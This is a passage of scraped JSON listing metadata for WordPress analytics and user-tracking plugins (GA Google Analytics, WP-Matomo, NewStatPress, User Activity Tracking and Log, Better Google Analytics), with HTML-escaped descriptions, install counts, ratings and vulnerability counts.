support\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>🚀 Learn more and get \u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002Fga-google-analytics-pro\u002F\" rel=\"nofollow ugc\">GA Pro &raquo;\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Privacy\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>User Data:\u003C\u002Fstrong> This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy \u003Ca href=\"https:\u002F\u002Fpolicies.google.com\u002Fprivacy\" rel=\"nofollow ugc\">here\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Cookies:\u003C\u002Fstrong> This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Services:\u003C\u002Fstrong> This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.\u003C\u002Fp>\n\u003Cp>GA Google Analytics is developed and maintained by \u003Ca href=\"https:\u002F\u002Fx.com\u002Fperishable\" rel=\"nofollow ugc\">Jeff Starr\u003C\u002Fa>, 15-year \u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002F\" rel=\"nofollow ugc\">WordPress developer\u003C\u002Fa> and \u003Ca href=\"https:\u002F\u002Fbooks.perishablepress.com\u002F\" rel=\"nofollow ugc\">book author\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>Support development\u003C\u002Fh3>\n\u003Cp>I develop and maintain this free plugin with love for the WordPress community. To show support, you can \u003Ca href=\"https:\u002F\u002Fmonzillamedia.com\u002Fdonate.html\" rel=\"nofollow ugc\">make a donation\u003C\u002Fa> or purchase one of my books:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwp-tao.com\u002F\" rel=\"nofollow ugc\">The Tao of WordPress\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdigwp.com\u002F\" rel=\"nofollow ugc\">Digging into WordPress\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fhtaccessbook.com\u002F\" rel=\"nofollow ugc\">.htaccess made easy\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwp-tao.com\u002Fwordpress-themes-book\u002F\" rel=\"nofollow ugc\">WordPress Themes In Depth\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fbooks.perishablepress.com\u002Fdownloads\u002Fwizards-collection-sql-recipes-wordpress\u002F\" rel=\"nofollow ugc\">Wizard’s SQL Recipes for WordPress\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>And\u002For purchase one of my premium WordPress plugins:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002Fbbq-pro\u002F\" rel=\"nofollow ugc\">BBQ Pro\u003C\u002Fa> – Blazing fast WordPress firewall\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002Fblackhole-pro\u002F\" rel=\"nofollow ugc\">Blackhole Pro\u003C\u002Fa> – Automatically block bad bots\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002Fbanhammer-pro\u002F\" rel=\"nofollow ugc\">Banhammer Pro\u003C\u002Fa> – Monitor traffic and ban the bad guys\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002Fga-google-analytics-pro\u002F\" rel=\"nofollow ugc\">GA Google Analytics Pro\u003C\u002Fa> – Connect WordPress to Google Analytics\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002Fhead-meta-pro\u002F\" rel=\"nofollow ugc\">Head Meta Pro\u003C\u002Fa> – Ultimate Meta Tags for WordPress\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002Fsimple-ajax-chat-pro\u002F\" rel=\"nofollow ugc\">Simple Ajax Chat Pro\u003C\u002Fa> – Unlimited chat rooms\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fplugin-planet.com\u002Fusp-pro\u002F\" rel=\"nofollow ugc\">USP Pro\u003C\u002Fa> – Unlimited front-end forms\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Links, tweets and likes also appreciated. Thank you! 🙂\u003C\u002Fp>\n","Adds Google Analytics tracking code to your WordPress site. Supports many tracking features.",400000,9769451,98,158,"2026-03-27T17:57:00.000Z","7.0","4.7","5.6.20",[20,413,414,23,24],"google","google-analytics","https:\u002F\u002Fperishablepress.com\u002Fgoogle-analytics-plugin\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fga-google-analytics.20260209.zip",100,{"slug":419,"name":420,"version":421,"author":422,"author_profile":423,"description":424,"short_description":425,"active_installs":426,"downloaded":427,"rating":428,"num_ratings":429,"last_updated":430,"tested_up_to":16,"requires_at_least":431,"requires_php":432,"tags":433,"homepage":436,"download_link":437,"security_score":438,"vuln_count":439,"unpatched_count":29,"last_vuln_date":440,"fetched_at":31},"wp-piwik","Connect Matomo – Analytics Dashboard for WordPress","1.1.4","matomoteam","https:\u002F\u002Fprofiles.wordpress.org\u002Fmatomoteam\u002F","\u003Cp>\u003Cstrong>Version 1.1.4 includes several important security related fixes, it is highly recommended to update to this version.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>If you are not yet using Matomo On-Premise, Matomo Cloud or hosting your own instance of Matomo, please use the \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fmatomo\u002F\" rel=\"ugc\">Matomo for WordPress plugin\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>This plugin uses the Matomo API to show your Matomo statistics in your WordPress dashboard. It’s also able to add the Matomo tracking code to your blog and to do some modifications to the tracking code. Additionally, WP-Matomo supports WordPress networks and manages multiple sites and their tracking codes.\u003C\u002Fp>\n\u003Cp>To use this plugin the Matomo web analytics application is required. If you do not already have a Matomo setup (e.g., provided by your web hosting service), you have two simple options: use either a \u003Ca href=\"http:\u002F\u002Fmatomo.org\u002F\" rel=\"nofollow ugc\">self-hosted Matomo\u003C\u002Fa> or a \u003Ca href=\"https:\u002F\u002Fwww.innocraft.cloud\u002F?pk_campaign=WP-Piwik\" rel=\"nofollow ugc\">cloud-hosted Matomo by InnoCraft\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Requirements:\u003C\u002Fstrong> PHP 7.0 (or higher), WordPress 5.0 (or higher), Matomo 4.0 (or higher)\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Languages:\u003C\u002Fstrong> English, Albanian, Chinese, Dutch, French, German, Greek, Hungarian, Italian, Polish, Portuguese (Brazil). Partially supported: Azerbaijani, Belarusian, Hindi, Lithuanian, Luxembourgish, Norwegian, Persian, Romanian, Russian, Spanish, Swedish, Turkish, Ukrainian\u003C\u002Fp>\n\u003Ch4>What is Matomo?\u003C\u002Fh4>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FQc2kooLNDiU?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fmatomo.org\u002Fwhat-is-matomo\u002F\" rel=\"nofollow ugc\">Learn more.\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>First steps\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Learn how to install your own Matomo instance: \u003Ca href=\"https:\u002F\u002Fmatomo.org\u002Fdocs\u002Frequirements\u002F\" rel=\"nofollow ugc\">Requirements\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fmatomo.org\u002Fdocs\u002Finstallation-optimization\u002F\" rel=\"nofollow ugc\">Installation\u003C\u002Fa>.\u003C\u002Fli>\n\u003Cli>If you need support about Matomo, please have a look at the \u003Ca href=\"https:\u002F\u002Fforum.matomo.org\u002F\" rel=\"nofollow ugc\">Matomo forums\u003C\u002Fa>.\u003C\u002Fli>\n\u003Cli>Finally, you can start \u003Ca href=\"https:\u002F\u002Fmatomo.org\u002Fblog\u002F2015\u002F05\u002Fwordpress-integration-wp-piwik-1-0\u002F\" rel=\"nofollow ugc\">setting up WP-Matomo\u003C\u002Fa>.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Shortcodes\u003C\u002Fh4>\n\u003Cp>You can use following shortcodes if activated:\u003C\u002Fp>\n\u003Cpre>\u003Ccode>[wp-piwik module=\"overview\" title=\"\" period=\"day\" date=\"yesterday\"]\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>Shows overview table like WP-Matomo’s overview dashboard. See Matomo API documentation on VisitsSummary.get to get more information on period and day. Multiple data arrays will be cumulated. If you fill the title attribute, its content will be shown in the table’s title.\u003C\u002Fp>\n\u003Cpre>\u003Ccode>[wp-piwik module=\"opt-out\" language=\"en\" width=\"100%\" height=\"200px\"]\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>Shows the Matomo opt-out Iframe. You can change the Iframe’s language by the language attribute (e.g. de for German language) and its width and height using the corresponding attributes.\u003C\u002Fp>\n\u003Cpre>\u003Ccode>[wp-piwik module=\"post\" range=\"last30\" key=\"sum_daily_nb_uniq_visitors\"]\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>Shows the chosen keys value related to the current post. You can define a range (format: lastN, previousN or YYYY-MM-DD,YYYY-MM-DD) and the desired value’s key (e.g., sum_daily_nb_uniq_visitors, nb_visits or nb_hits – for details see Matomo’s API method Actions.getPageUrl using a range).\u003C\u002Fp>\n\u003Cpre>\u003Ccode>[wp-piwik]\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>is equal to \u003Cem>[wp-piwik module=”overview” title=”” period=”day” date=”yesterday”]\u003C\u002Fem>.\u003C\u002Fp>\n\u003Ch4>Credits and Acknowledgements\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Graphs powered by \u003Ca href=\"https:\u002F\u002Fwww.chartjs.org\" rel=\"nofollow ugc\">Chart.js\u003C\u002Fa> (MIT License).\u003C\u002Fli>\n\u003Cli>All translators at Transifex and WordPress.\u003C\u002Fli>\n\u003Cli>Anyone who donates to the WP-Matomo project, including the Matomo team!\u003C\u002Fli>\n\u003Cli>All users who send me mails containing criticism, commendation, feature requests and bug reports – you help me to make WP-Matomo much better!\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Thank you all!\u003C\u002Fp>\n","Adds Matomo (former Piwik) statistics to your WordPress dashboard and is also able to add the Matomo Tracking Code to your blog.",60000,2973686,90,95,"2026-04-16T07:13:00.000Z","5.0","",[20,434,23,435,24],"matomo","stats","http:\u002F\u002Fwordpress.org\u002Fextend\u002Fplugins\u002Fwp-piwik\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-piwik.1.1.4.zip",97,5,"2023-09-21 00:00:00",{"slug":442,"name":443,"version":444,"author":445,"author_profile":446,"description":447,"short_description":448,"active_installs":449,"downloaded":450,"rating":451,"num_ratings":452,"last_updated":453,"tested_up_to":16,"requires_at_least":454,"requires_php":432,"tags":455,"homepage":458,"download_link":459,"security_score":460,"vuln_count":461,"unpatched_count":29,"last_vuln_date":462,"fetched_at":31},"newstatpress","NewStatPress","1.4.4","ice00","https:\u002F\u002Fprofiles.wordpress.org\u002Fice00\u002F","\u003Cp>NewStatPress is a new version of StatPress that was the first real-time plugin dedicated to the management of statistics about blog visits.\u003C\u002Fp>\n\u003Cp>It collects information about visitors, spiders, search keywords, feeds, browsers etc.\u003C\u002Fp>\n\u003Cp>Once the plugin NewStatPress has been activated it immediately starts to collect statistics information.\u003Cbr \u002F>\nUsing NewStatPress you could spy your visitors while they are surfing your blog or check which are the preferred pages, posts and categories.\u003Cbr \u002F>\nIn the Dashboard menu you will find the NewStatPress page where you could look up the statistics (overview or detailed).\u003Cbr \u002F>\nNewStatPress also includes a widget one can possibly add to a sidebar (or easy PHP code if you can’t use widgets!).\u003C\u002Fp>\n\u003Cp>With the new ajax\u002Fjavascript usage for variables in widget, the plugin is faster for a user being visit your site even with 1GB or more of database to use! (requires the External API be enabled in NewStatPress>Options>API)\u003C\u002Fp>\n\u003Cp>IMPORTANT: all previous versions from 1.0.4 are subject to XSS and SQL injection from an old Statpress routine. You have to use at least version 1.0.6 to avoid security issue.\u003Cbr \u002F>\nPLEASE UPDATE always to the latest version available.\u003C\u002Fp>\n\u003Ch4>Support\u003C\u002Fh4>\n\u003Cp>Check at  http:\u002F\u002Fnewstatpress.altervista.org\u003C\u002Fp>\n\u003Ch4>What’s new?\u003C\u002Fh4>\n\u003Cp>Simple adding index to database and changes some data fields for better database storing (from here http:\u002F\u002Fwww.poundbangwhack.com\u002F2010\u002F07\u002F03\u002Fimprove-the-performance-of-the-wordpress-plugin-statpress-and-your-blog\u002F where some modification comes from)\u003C\u002Fp>\n\u003Ch4>Ban IP\u003C\u002Fh4>\n\u003Cp>You could ban IP list from stats editing def\u002Fbanips.dat file.\u003C\u002Fp>\n\u003Ch4>DB Table maintenance\u003C\u002Fh4>\n\u003Cp>NewStatPress can automatically delete older records to allow the insertion of newer records when limited space is present.\u003Cbr \u002F>\nThis features is left as original StatPress but it will be replaced by the history data instead.\u003C\u002Fp>\n\u003Ch4>External API\u003C\u002Fh4>\n\u003Cp>External API are a way to gives the collected informations as a web service using a POST call.\u003Cbr \u002F>\nWith it you can use (for example) your collected data of WordPress inside a Drupal site.\u003Cbr \u002F>\nThe API must be enables by check a flag into the option (by default is disabled) and a private KEY must be entered (you can generate a random one).\u003Cbr \u002F>\nThis KEY is for authenticate the called as a valid allowed client.\u003Cbr \u002F>\nEven if the API is for external usage, it will be used internally for speed up page generation using AJAX, so at some point you will need to activate it to continue to see overview and Details pages.\u003C\u002Fp>\n\u003Cp>Actually those are the available commands:\u003C\u002Fp>\n\u003Cp>Command | Parameters | Description\u003C\u002Fp>\n\u003Cul>\n\u003Cli>version                 gives the Newstatpress version in use\u003C\u002Fli>\n\u003Cli>dashboard               gives the Newstatpress dashboard overview table\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>External API is actually used by Multi-NewStatPress (a software than manages data from multiple installation of NewStatPress in different servers).\u003C\u002Fp>\n\u003Cp>If you want to use the API you need to pass to POST those values:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>VAR   the variable for the query (like ‘Version’)\u003C\u002Fli>\n\u003Cli>KEY   the MD5 of date at minute level plus the key you enter into option (e.g in PHP: md5(gmdate(‘m-d-y H i’).key) )\u003C\u002Fli>\n\u003Cli>PAR   the parameter associated with the VAR\u003C\u002Fli>\n\u003Cli>TYP   the type of result: JSON (default) of HTML\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>into those url: your_site+”\u002Fwp-content\u002Fplugins\u002Fnewstatpress\u002Fincludes\u002Fapi\u002Fexternal.php”\u003C\u002Fp>\n\u003Ch4>NewStatPress Widget \u002F NewStatPress_Print function\u003C\u002Fh4>\n\u003Cp>Widget is customizable. These are the available variables:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>%thistotalvisits% – this page, total visits\u003C\u002Fli>\n\u003Cli>%alltotalvisits% – all page, total visits\u003C\u002Fli>\n\u003Cli>%totalpageviews% – total pages view\u003C\u002Fli>\n\u003Cli>%monthtotalpageviews% – total pages view in the month\u003C\u002Fli>\n\u003Cli>%todaytotalpageviews% –  total pages view today\u003C\u002Fli>\n\u003Cli>%since% – Date of the first hit\u003C\u002Fli>\n\u003Cli>%visits% – Today visits\u003C\u002Fli>\n\u003Cli>%yvisits% – Yesterday visits\u003C\u002Fli>\n\u003Cli>%mvisits% – Month visits\u003C\u002Fli>\n\u003Cli>%wvisits% – Week visits\u003C\u002Fli>\n\u003Cli>%totalvisits% – Total visits\u003C\u002Fli>\n\u003Cli>%os% – Operative system\u003C\u002Fli>\n\u003Cli>%browser% – Browser\u003C\u002Fli>\n\u003Cli>%ip% – IP address\u003C\u002Fli>\n\u003Cli>%visitorsonline% – Counts all online visitors\u003C\u002Fli>\n\u003Cli>%usersonline% – Counts logged online visitors\u003C\u002Fli>\n\u003Cli>%toppost% – The most viewed Post\u003C\u002Fli>\n\u003Cli>%topbrowser% – The most used Browser\u003C\u002Fli>\n\u003Cli>%topos% – The most used O.S.\u003C\u002Fli>\n\u003Cli>%topsearch% – The most used search terms\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>In widget, those are special html contropart:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>%br%  => \u003C\u002Fli>\n\u003Cli>%ul%  => \u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cul>\n* %\u002Ful% => \u003C\u002Ful>\n\u003Cul>\n\u003Cli>%li%  => \u003C\u002Fli>\n\u003Cli>\u003C\u002Fli>\n\u003Cli>%\u002Fli% => \u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Now you could add these values everywhere! NewStatPress offers a new PHP function \u003Cem>newstatpress_print()\u003C\u002Fem>.\u003Cbr \u002F>\n* i.e. newstatpress_print(“%totalvisits% total visits.”);\u003C\u002Fp>\n\u003Cp>New experimental functions: place this command [NewStatPress: xxx] every were in your WordPress blog pages and you will have the graph about the xxx function.\u003C\u002Fp>\n\u003Cp>Available functions are:\u003Cbr \u002F>\n* [NewStatPress: Overview]\u003Cbr \u002F>\n* [NewStatPress: Top days]\u003Cbr \u002F>\n* [NewStatPress: O.S.]\u003Cbr \u002F>\n* [NewStatPress: Browser]\u003Cbr \u002F>\n* [NewStatPress: Feeds]\u003Cbr \u002F>\n* [NewStatPress: Search Engine]\u003Cbr \u002F>\n* [NewStatPress: Search terms]\u003Cbr \u002F>\n* [NewStatPress: Top referrer]\u003Cbr \u002F>\n* [NewStatPress: Languages]\u003Cbr \u002F>\n* [NewStatPress: Spider]\u003Cbr \u002F>\n* [NewStatPress: Top Pages]\u003Cbr \u002F>\n* [NewStatPress: Top Days – Unique visitors]\u003Cbr \u002F>\n* [NewStatPress: Top Days – Pageviews]\u003Cbr \u002F>\n* [NewStatPress: Top IPs – Pageviews]\u003C\u002Fp>\n\u003Ch3>License\u003C\u002Fh3>\n\u003Cp>GPLv2 or later\u003C\u002Fp>\n\u003Ch3>License URI\u003C\u002Fh3>\n\u003Cp>https:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\u003C\u002Fp>\n","NewStatPress (Statpress plugin fork) is a real-time plugin to manage the visits' statistics about your blog  (without external web analytics).",9000,939642,94,84,"2026-01-06T08:35:00.000Z","3.5",[20,456,23,24,457],"dashboard","visits","http:\u002F\u002Fnewstatpress.altervista.org","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fnewstatpress.zip",76,10,"2025-12-11 14:35:21",{"slug":464,"name":465,"version":466,"author":467,"author_profile":468,"description":469,"short_description":470,"active_installs":471,"downloaded":472,"rating":473,"num_ratings":474,"last_updated":475,"tested_up_to":16,"requires_at_least":476,"requires_php":17,"tags":477,"homepage":480,"download_link":481,"security_score":482,"vuln_count":190,"unpatched_count":29,"last_vuln_date":483,"fetched_at":31},"user-activity-tracking-and-log","User Activity Tracking and Log","4.2.1","Moove Agency","https:\u002F\u002Fprofiles.wordpress.org\u002Fmooveagency\u002F","\u003Cp>\u003Cstrong>Track user activity & duration on your website with this incredibly powerful, easy-to-use and well supported plugin.\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>This plugin is privacy-friendly: it stores no cookies on users’ computers and therefore requires no cookie opt-in from users (unlike Google Analytics or Google Tag Manager).\u003C\u002Fp>\n\u003Cp>The plugin is especially useful for tracking users on membership sites, \u003Cstrong>LMS online learning systems\u003C\u002Fstrong> or \u003Cstrong>WooCommerce\u003C\u002Fstrong> sites. It can track both \u003Cstrong>logged-in\u003C\u002Fstrong> and \u003Cstrong>anonymous users\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>You can track \u003Cstrong>page visits\u003C\u002Fstrong>, \u003Cstrong>duration of the visit\u003C\u002Fstrong>, \u003Cstrong>login and logout time\u003C\u002Fstrong>, and you can even setup \u003Cstrong>event goal triggers\u003C\u002Fstrong> too (ie. click of a button, PDF download, mailto links and more).\u003C\u002Fp>\n\u003Cp>Our plugin will accurately track time spent on specific pages which is very useful when you’d like to monitor user’s reading time, video watching time, tracking time in LMS online learning system, or how long users look at your e-commerce product pages before purchasing.\u003C\u002Fp>\n\u003Ch3>Key Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Simple & intuitive\u003C\u002Fli>\n\u003Cli>Powerful search, export options, API endpoints\u003C\u002Fli>\n\u003Cli>Compatible with WooCommerce and other user registration plugins\u003C\u002Fli>\n\u003Cli>Tracks both logged-in and non logged-in users (ie. unknown users)\u003C\u002Fli>\n\u003Cli>GDPR \u002F CCPA \u002F privacy ready (IP address can be stored in anonymized format)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Privacy-friendly\u003C\u002Fstrong>: stores no cookies on users’ computers \u003C\u002Fli>\n\u003Cli>\u003Cstrong>Local Data Storage\u003C\u002Fstrong>: all user data is stored locally on your website only; we do not collect or store any of your user data on our servers\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Premium Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Time tracking & Session Duration\u003C\u002Fstrong>: see the duration of user visits in the activity logs\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Login\u002Flogout time\u003C\u002Fstrong>: see the exact time when users login and logout from your site\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Event goal tracking\u003C\u002Fstrong>: setup event goal triggers for various actions that users take on your site (ie. click on a specific button, PDF download, mailto links and more)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>[NEW] Email notifications\u003C\u002Fstrong>: receive email notifications when an event was triggered \u003C\u002Fli>\n\u003Cli>\u003Cstrong>Auto logout\u003C\u002Fstrong>: setup automatic logout for idle users to improve your analytics\u003C\u002Fli>\n\u003Cli>Track all \u003Cstrong>custom post-types and archives\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Anonymize\u003C\u002Fstrong> IP addresses\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Export logs to CSV\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Track specific roles\u003C\u002Fstrong>: track logged-in users only or only certain roles such as subscribers \u003C\u002Fli>\n\u003Cli>\u003Cstrong>Rest API endpoints\u003C\u002Fstrong> for activity logs in JSON format\u003C\u002Fli>\n\u003Cli>Custom timezone\u003C\u002Fli>\n\u003Cli>Advanced Filters \u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwww.mooveagency.com\u002Fwordpress-plugins\u002Fuser-activity-tracking-and-log\u002F\" rel=\"nofollow ugc\">Download the Premium Add-on here\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Demo Video\u003C\u002Fh3>\n\u003Cdiv class=\"embed-vimeo\" style=\"text-align: center;\">\u003Ciframe loading=\"lazy\" src=\"https:\u002F\u002Fplayer.vimeo.com\u002Fvideo\u002F305493827\" width=\"750\" height=\"422\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen>\u003C\u002Fiframe>\u003C\u002Fdiv>\n\u003Ch3>Event Triggers Video Tutorial\u003C\u002Fh3>\n\u003Cdiv class=\"embed-vimeo\" style=\"text-align: center;\">\u003Ciframe loading=\"lazy\" src=\"https:\u002F\u002Fplayer.vimeo.com\u002Fvideo\u002F551423323\" width=\"750\" height=\"422\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen>\u003C\u002Fiframe>\u003C\u002Fdiv>\n\u003Ch3>Activity data that will be logged:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Login date and time\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Logout date and time\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Last seen\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Session Duration\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Username & email\u003C\u002Fstrong> (if user is logged-in)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>User role\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Activity\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Page name and URL\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>IP address\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Location\u003C\u002Fstrong> (by IP Address)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Referrer URL\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Testimonials\u003C\u002Fh3>\n\u003Cp>★★★★★\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cp>“Tried many, but this one had just what I wanted. I like this plugins feature set, minimal but exactly what I need to see. Helps me to send offers on a WooCommerce digital content site when I notice users are looking at a particular product often, but not purchasing. A little nudge helps and this plugin puts that info in a place I can easily see.” – \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Ftopic\u002Ftried-many-but-this-one-had-just-what-i-wanted\u002F\" rel=\"ugc\">Ryan\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>★★★★★\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cp>“Simple to install & performs well. The reporting is clear and very useful!” – \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Ftopic\u002Fsimple-to-install-performs-well\u002F\" rel=\"ugc\">hannahfinch\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>★★★★★\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cp>“Very useful plugin!! I was looking for something to track users on our website. This plugin is exactly what I needed. You can track activity and users. You can see who visited which pages, and the referring page they came from. The premium version gives you even more useful features like tracking only users who are logged in, additional view options, and so on. Excellent plugin, highly recommended!!” – \u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fsupport\u002Ftopic\u002Fvery-useful-plugin-771\u002F\" rel=\"ugc\">msiciliano\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Ch3>About us\u003C\u002Fh3>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwww.mooveagency.com\u002F\" rel=\"nofollow ugc\">Moove Agency\u003C\u002Fa> is a premium supplier of quality WordPress plugins, services and support. \u003Ca href=\"https:\u002F\u002Fwww.mooveagency.com\u002Fwordpress-plugins\u002F\" rel=\"nofollow ugc\">Visit our site\u003C\u002Fa> to learn more.\u003C\u002Fp>\n","Track time and monitor user activity & history on your website, LMS online learning system, membership or WooCommerce site.",3000,143239,70,33,"2026-01-22T09:22:00.000Z","4.3",[478,20,23,435,479],"activity-log","time-tracking","http:\u002F\u002Fwww.mooveagency.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fuser-activity-tracking-and-log.4.2.1.zip",99,"2024-01-29 00:00:00",{"slug":485,"name":486,"version":487,"author":488,"author_profile":489,"description":490,"short_description":491,"active_installs":492,"downloaded":493,"rating":452,"num_ratings":494,"last_updated":495,"tested_up_to":496,"requires_at_least":497,"requires_php":432,"tags":498,"homepage":500,"download_link":501,"security_score":502,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"better-analytics","Better Google Analytics","1.2.7","digitalpoint","https:\u002F\u002Fprofiles.wordpress.org\u002Fdigitalpoint\u002F","\u003Cp>The Better Google Analytics plugin allows you to easily add Google Analytics code to your website and gives you the power to track virtually everything.  Better Google Analytics includes heat maps, reports, charts, events and site issue tracking in your WordPress admin area without the need to log into your Google Analytics account.\u003C\u002Fp>\n\u003Cp>Better Google Analytics allows you to manage your Google Analytics account from within your WordPress admin area (for example you can create\u002Fedit Google Analytics Goals).\u003C\u002Fp>\n\u003Cp>In addition, Better Google Analytics makes A\u002FB (split) testing a breeze (no code required) so you can find what variations work the best for your site by using Google Analytics Content Experiments.\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cp>\u003Cstrong>Simple To Setup\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>The Better Google Analytics plugin can automatically configure your Google Analytics account to maximize what you can track with the minimum amount of effort.  Can automatically set various options on your Google Analytics account on your behalf as well as create custom dimensions and map them to where they need to go.  If you are setting up a brand new site, this plugin can even create a brand new Web Property within your selected Google Analytics account if you wish.  All with a single click.\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>Better Google Analytics utilizes all the latest and greatest features of Google Analytics (Universal analytics, user-ID session unification, event tracking, campaign tracking, custom dimensions, server-side tracking, social engagement tracking, remarketing, etc.)  Additionally, Better Analytics can track users who are visiting AMP (Accelerated Mobile Pages) on your site.\u003C\u002Fp>\n\u003Cblockquote>\n\u003Cp>\u003Cstrong>Google Analytics Account 